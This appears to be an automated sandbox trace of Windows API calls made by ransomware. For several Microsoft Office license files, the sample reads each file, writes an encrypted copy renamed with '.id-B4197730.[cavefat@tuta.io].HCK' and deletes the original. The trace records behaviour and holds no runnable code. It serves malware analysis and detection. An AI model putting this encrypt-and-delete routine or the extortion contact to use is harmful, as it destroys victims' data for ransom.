[0241.180] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.180] lstrlenW (lpString=".pdf") returned 4 [0241.181] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString=".xls") returned 4 [0241.181] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString=".xlsx") returned 5 [0241.181] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.181] lstrlenW (lpString=".ppt") returned 4 [0241.181] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.181] lstrlenW (lpString=".zip") returned 4 [0241.181] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString=".rar") returned 4 [0241.181] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString=".bz2") returned 4 [0241.181] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString=".7z") returned 3 [0241.181] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.181] lstrlenW (lpString=".dbf") returned 4 [0241.181] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.181] lstrlenW (lpString=".1cd") returned 4 [0241.181] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.181] lstrlenW (lpString=".jpg") returned 4 [0241.181] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.181] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.181] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26 [0241.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.182] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26464) returned 1 [0241.182] CloseHandle (hObject=0x534) returned 1 [0241.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0241.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.183] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.183] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.184] GetLastError () returned 0x0 [0241.184] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x6760, lpOverlapped=0x0) returned 1 [0241.195] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6770, lpOverlapped=0x0) returned 1 [0241.196] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.196] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x108, lpOverlapped=0x0) returned 1 [0241.196] SetEndOfFile (hFile=0x4b4) returned 1 [0241.196] CloseHandle (hObject=0x4b4) returned 1 [0241.196] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.196] SetEndOfFile (hFile=0x534) returned 1 [0241.198] CloseHandle (hObject=0x534) returned 1 [0241.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1 [0241.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.199] lstrlenW (lpString=".doc") returned 4 [0241.199] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.199] lstrlenW (lpString=".docx") returned 5 [0241.199] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.199] lstrlenW (lpString=".pdf") returned 4 [0241.200] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".xls") returned 4 [0241.200] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".xlsx") returned 5 [0241.200] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.200] lstrlenW (lpString=".ppt") returned 4 [0241.200] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString=".zip") returned 4 [0241.200] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".rar") returned 4 [0241.200] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".bz2") returned 4 [0241.200] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".7z") returned 3 [0241.200] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString=".dbf") returned 4 [0241.200] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString=".1cd") returned 4 [0241.200] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString=".jpg") returned 4 [0241.200] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.200] lstrlenW (lpString=".doc") returned 4 [0241.200] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.200] lstrlenW (lpString=".docx") returned 5 [0241.200] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.200] lstrlenW (lpString=".pdf") returned 4 [0241.200] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString=".xls") returned 4 [0241.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString=".xlsx") returned 5 [0241.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.201] lstrlenW (lpString=".ppt") returned 4 [0241.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.201] lstrlenW (lpString=".zip") returned 4 [0241.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString=".rar") returned 4 [0241.201] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString=".bz2") returned 4 [0241.201] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString=".7z") returned 3 [0241.201] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.201] lstrlenW (lpString=".dbf") returned 4 [0241.201] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.201] lstrlenW (lpString=".1cd") returned 4 [0241.201] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0241.201] lstrlenW (lpString=".jpg") returned 4 [0241.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.201] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.201] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0241.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.202] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19927) returned 1 [0241.202] CloseHandle (hObject=0x534) returned 1 [0241.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0241.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.202] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.203] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.203] GetLastError () returned 0x0 [0241.203] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0241.207] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0241.208] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.208] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10e, lpOverlapped=0x0) returned 1 [0241.208] SetEndOfFile (hFile=0x4b4) returned 1 [0241.208] CloseHandle (hObject=0x4b4) returned 1 [0241.210] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.210] SetEndOfFile (hFile=0x534) returned 1 [0241.215] CloseHandle (hObject=0x534) returned 1 [0241.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1 [0242.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.083] lstrlenW (lpString=".doc") returned 4 [0242.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.083] lstrlenW (lpString=".docx") returned 5 [0242.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.083] lstrlenW (lpString=".pdf") returned 4 [0242.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".xls") returned 4 [0242.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".xlsx") returned 5 [0242.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.091] lstrlenW (lpString=".ppt") returned 4 [0242.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString=".zip") returned 4 [0242.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".rar") returned 4 [0242.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".bz2") returned 4 [0242.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".7z") returned 3 [0242.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString=".dbf") returned 4 [0242.091] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString=".1cd") returned 4 [0242.091] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString=".jpg") returned 4 [0242.091] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.091] lstrlenW (lpString=".doc") returned 4 [0242.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".docx") returned 5 [0242.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.091] lstrlenW (lpString=".pdf") returned 4 [0242.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.091] lstrlenW (lpString=".xls") returned 4 [0242.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString=".xlsx") returned 5 [0242.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.092] lstrlenW (lpString=".ppt") returned 4 [0242.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.092] lstrlenW (lpString=".zip") returned 4 [0242.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString=".rar") returned 4 [0242.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString=".bz2") returned 4 [0242.092] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString=".7z") returned 3 [0242.092] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.092] lstrlenW (lpString=".dbf") returned 4 [0242.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.092] lstrlenW (lpString=".1cd") returned 4 [0242.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0242.092] lstrlenW (lpString=".jpg") returned 4 [0242.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.092] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.092] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26 [0242.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0242.202] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26525) returned 1 [0242.202] CloseHandle (hObject=0x4bc) returned 1 [0242.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0242.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.859] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.859] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.211] GetLastError () returned 0x0 [0243.211] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x679d, lpOverlapped=0x0) returned 1 [0243.214] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0243.215] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.215] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x108, lpOverlapped=0x0) returned 1 [0243.215] SetEndOfFile (hFile=0x378) returned 1 [0243.215] CloseHandle (hObject=0x378) returned 1 [0243.215] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.215] SetEndOfFile (hFile=0x548) returned 1 [0243.217] CloseHandle (hObject=0x548) returned 1 [0243.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.219] lstrlenW (lpString=".doc") returned 4 [0243.219] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".docx") returned 5 [0243.219] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.219] lstrlenW (lpString=".pdf") returned 4 [0243.219] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".xls") returned 4 [0243.219] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".xlsx") returned 5 [0243.219] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.219] lstrlenW (lpString=".ppt") returned 4 [0243.219] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.219] lstrlenW (lpString=".zip") returned 4 [0243.219] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".rar") returned 4 [0243.219] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".bz2") returned 4 [0243.219] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString=".7z") returned 3 [0243.219] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.219] lstrlenW (lpString=".dbf") returned 4 [0243.219] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.219] lstrlenW (lpString=".1cd") returned 4 [0243.219] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 